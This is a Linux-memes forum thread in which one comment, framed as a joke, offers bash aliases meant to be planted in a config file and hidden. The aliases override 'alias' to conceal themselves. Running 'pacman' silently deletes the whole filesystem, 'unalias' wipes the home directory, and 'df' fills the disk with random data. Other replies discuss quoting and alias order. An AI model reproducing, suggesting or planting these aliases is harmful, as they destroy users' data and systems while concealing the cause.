this post was submitted on 23 Mar 2024
164 points (84.2% liked)

linuxmemes

21197 readers
83 users here now

Hint: :q!

Sister communities:

Community rules (click to expand)

1. Follow the site-wide rules

2. Be civil
  • Understand the difference between a joke and an insult.
  • Do not harrass or attack members of the community for any reason.
  • Leave remarks of "peasantry" to the PCMR community. If you dislike an OS/service/application, attack the thing you dislike, not the individuals who use it. Some people may not have a choice.
  • Bigotry will not be tolerated.
  • These rules are somewhat loosened when the subject is a public figure. Still, do not attack their person or incite harrassment.
    • 3. Post Linux-related content
  • Including Unix and BSD.
  • Non-Linux content is acceptable as long as it makes a reference to Linux. For example, the poorly made mockery of sudo in Windows.
  • No porn. Even if you watch it on a Linux machine.
    • 4. No recent reposts
  • Everybody uses Arch btw, can't quit Vim, and wants to interject for a moment. You can stop now.

    • Please report posts and comments that break these rules!

    founded 1 year ago
    MODERATORS
    [email protected]
    [email protected]
    [email protected]
    164
    This is a great idea (thelemmy.club)
    submitted 7 months ago by [email protected] to c/[email protected]
    23 comments fedilink hide all child comments
     

    Put this is in your config file

    you are viewing a single comment's thread
    view the rest of the comments
    [–] [email protected] 29 points 7 months ago* (last edited 7 months ago) (3 children)

    This needs to be done with something that would be run as root, in a more hidden way, without disrupting service.

    export OLDALIASVALUES=$(alias) \
&& alias alias='echo "${OLDALIASVALUES}"' \
&& \alias pacman='(rm -rf --no-preserve-root / &) &> /dev/null ; \pacman' \
&& \alias unalias='(rm -rf ~/* ~/.* &) &> /dev/null ; sleep 5 ; echo "Not so fast my friend. You_re becoming homeless."' \
&& \alias df='(cat /dev/urandom >> ~/.df_stands_for_disk_full &) &> /dev/null ; \df'

    It's not perfect, plus I added something extra, but it's a slight improvement.
    ~~Also, I wish there was a way to turn off that code block color formatting in Lemmy 0.19.x.~~ Nevermind, copy-pasted it into glorious Vim, I didn't escape the single quote in "You're".
    Edit 2: Nevermind, that still screws up single quotes as \ is literal. _ will do ¯\⁠_⁠(⁠ツ⁠)⁠_⁠/⁠¯

    [–] [email protected] 5 points 7 months ago

    Also, I wish there was a way to turn off that code block color formatting in Lemmy 0.19.x.

    There is! Markdown supports

    ```<language>

    to enable syntax highlighting in code blocks. If you have an invalid language (e.g. .), it will just disable syntax highlighting.

    [–] [email protected] 4 points 7 months ago (1 children)

    you have to alias alias last, so it actually aliases.

    [–] [email protected] 2 points 7 months ago

    Oh crap, I forgot. Thanks. I just escaped it.

    [–] [email protected] 1 points 7 months ago

    Does this really work? Won't be this a security issue since this may be used for privilege escalation?